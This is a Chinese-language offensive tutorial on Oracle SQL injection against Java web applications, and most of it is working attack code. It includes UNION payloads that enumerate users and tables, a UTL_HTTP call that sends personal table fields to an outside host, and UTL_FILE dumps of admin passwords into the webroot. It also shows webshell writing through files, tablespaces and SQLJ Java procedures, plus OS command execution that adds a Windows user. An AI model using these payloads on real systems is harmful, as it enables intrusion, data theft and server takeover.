攻击JavaWeb应用[4]-SQL注入[2]
字数 991 2025-08-29 08:31:42
Oracle数据库SQL注入高级技术与实战指南
0x00 Oracle数据库注入基础
Oracle与Mysql注入差异
- Oracle使用虚拟表
dual进行查询,保证只有一条记录 - Oracle的UNION查询有严格的类型要求,必须与原始查询字段类型匹配
- 使用NULL占位是Oracle注入的常用技巧:
UNION SELECT NULL,NULL,NULL,NULL FROM dual-- - 已知字段类型后可以精确匹配:
UNION SELECT 1,NULL,NULL,NULL FROM dual--
Oracle分页查询技巧
Oracle使用三层嵌套查询实现分页:
SELECT * FROM (
SELECT A.*, ROWNUM RN FROM (
select * from session_roles
) A WHERE ROWNUM <= 1
) WHERE RN >= 0
Oracle信息收集技术
- 获取所有用户:
UNION ALL SELECT NULL, NULL, NULL, NVL(CAST(OWNER AS VARCHAR(4000)),CHR(32)) FROM (SELECT DISTINCT(OWNER) FROM SYS.ALL_TABLES)--
- 获取数据库表:
UNION ALL SELECT NULL, NULL, NULL, NVL(CAST(OWNER AS VARCHAR(4000)),CHR(32))||CHR(45)||CHR(45)||CHR(45)||CHR(45)||CHR(45)||CHR(45)||NVL(CAST(TABLE_NAME AS VARCHAR(4000)),CHR(32)) FROM SYS.ALL_TABLES WHERE OWNER IN (CHR(67)||CHR(84)||CHR(88)||CHR(83)||CHR(89)||CHR(83),CHR(69)||CHR(88)||CHR(70)||CHR(83)||CHR(89)||CHR(83),CHR(77)||CHR(68)||CHR(83)||CHR(89)||CHR(83),CHR(79)||CHR(76)||CHR(65)||CHR(80)||CHR(83)||CHR(89)||CHR(83),CHR(83)||CHR(67)||CHR(79)||CHR(84)||CHR(84),CHR(83)||CHR(89)||CHR(83),CHR(83)||CHR(89)||CHR(83)||CHR(84)||CHR(69)||CHR(77),CHR(87)||CHR(77)||CHR(83)||CHR(89)||CHR(83))--
- 其他关键信息查询:
-- 版本信息
select banner from sys.v_$version where rownum=1
-- 启动Oracle的用户名
select SYS_CONTEXT ('USERENV','OS_USER') from dual
-- 服务器监听IP
select utl_inaddr.get_host_address from dual
-- 服务器操作系统
select member from v$logfile where rownum=1
-- 当前连接用户
select SYS_CONTEXT ('USERENV', 'CURRENT_USER') from dual
-- 当前数据库名
select SYS_CONTEXT ('USERENV', 'DB_NAME') from dual
0x01 Oracle高级注入技术
1. 友情备份技术
利用UTL_HTTP包实现数据外带:
UTL_HTTP.request('http://xxx.cn:8080/xxxx/mysql.jsp?data='||ID|USERID|NAME|RELATION|OCCUPATION|POSITION|ASSN||UNIT|TEL)
使用UTL_FILE实现本地备份:
-- 创建目录
create or replace directory cux_log_dir as 'E:/soft/apache-tomcat-7.0.37/webapps/ROOT/selina'
-- 导出数据到文件
declare
frw utl_file.file_type
begin
frw:=utl_file.fopen('CUX_LOG_DIR','emp.txt','w')
for rec in (select * from admin) loop
utl_file.put_line(frw,rec.id||','||rec.password)
end loop
utl_file.fclose(frw)
end
/
2. GetShell技术
方法一:使用UTL_FILE
-- 创建目录
create or replace directory getshell_dir as 'E:/soft/apache-tomcat-7.0.37/webapps/SqlInjection/'
-- 写入shell
declare
frw utl_file.file_type
begin
frw:=utl_file.fopen('GETSHELL_DIR','yzmm.jsp','w')
utl_file.put_line(frw,'hello world')
utl_file.fclose(frw)
end
/
方法二:使用表空间(低权限)
create tablespace shell datafile 'E:/soft/apache-tomcat-7.0.37/webapps/SqlInjection/shell.jsp' size 100k nologging
CREATE TABLE SHELL(C varchar2(100)) tablespace shell
insert into SHELL values('hello world')
commit
alter tablespace shell offline
drop tablespace shell including contents
3. SQLJ执行Java代码
写入Webshell:
-- 创建Java存储过程
create or replace and compile java source named "getShell" as
public class GetShell {
public static int getShell(String p, String c) {
int RC = -1
try {
new java.io.FileOutputStream(p).write(c.getBytes())
RC = 1
} catch (Exception e) {
e.printStackTrace()
}
return RC
}
}
-- 创建函数
create or replace function getShell(p in varchar2, c in varchar2) return number as
language java name 'util.getShell(java.lang.String, java.lang.String) return Integer'
-- 创建存储过程
create or replace procedure RC(p in varChar, c in varChar) as
x number
begin
x := getShell(p,c)
end
-- 授予Java权限
variable x number
set serveroutput on
exec dbms_java.set_output(100000)
grant javasyspriv to system
grant javauserpriv to system
-- 写webshell
exec :x:=getShell('d:/3.txt','selina')
执行系统命令:
-- 创建Java存储过程
create or replace and compile java source named "Execute" as
import java.io.BufferedReader
import java.io.InputStreamReader
public class Execute {
public static void executeCmd(String c) {
try {
String l="",t
BufferedReader br = new BufferedReader(new InputStreamReader(java.lang.Runtime.getRuntime().exec(c).getInputStream(),"gbk"))
while((t=br.readLine())!=null) {
l+=t+"\n"
}
System.out.println(l)
} catch (Exception e) {
e.printStackTrace()
}
}
}
-- 创建存储过程
create or replace procedure executeCmd(c in varchar2) as
language java name 'Execute.executeCmd(java.lang.String)'
-- 执行命令
exec executeCmd('net user selina 123 /add')
0x02 SQL注入工具实现原理
1. 检测注入点
- 发送正常请求和带有SQL注入的请求(如
AND 1=1和AND 1=12) - 比较响应结果,不一致则可能存在注入
2. 确定字段数
- 使用
ORDER BY二分法确定字段数 - 从1开始递增测试,直到页面报错
3. 获取数据库信息
- 构造UNION查询获取版本、用户、数据库名等信息
- 使用特殊标记便于从响应中提取数据,如
[version]...[/version]
4. 检测文件权限
- 检查
file_priv权限判断是否能读写文件
0x03 实战案例
1. 绕过防注入
- 使用POST方式绕过GET防注入检测
- JSP中
request.getParameter()可获取GET和POST参数
2. 利用DWR框架漏洞
- DWR框架可能暴露后端Java方法
- 通过分析网络请求发现敏感信息泄露
3. 上传漏洞利用
- 构造multipart表单绕过Flash上传限制
- 修改上传文件扩展名限制获取Webshell
4. 通用系统漏洞利用
- 针对通用系统,漏洞可批量利用
- 通过密码破解进入后台进一步渗透
附录:各数据库获取表信息语句
- MSSQL:
select name from master.dbo.sysdatabase
- MySQL:
show databases
- Sybase:
SELECT a.name,b.colid,b.name,c.name,b.usertype,b.length,
CASE WHEN b.status=0 THEN 'NOT NULL' WHEN b.status=8 THEN 'NULL' END status, d.text
FROM sysobjects a,syscolumns b,systypes c,syscomments d
WHERE a.id=b.id AND b.usertype=c.usertype AND a.type='U'
--AND a.name='t_user'
AND b.cdefault*=d.id
ORDER BY a.name,b.colid
- Oracle:
SELECT * FROM ALL_TABLES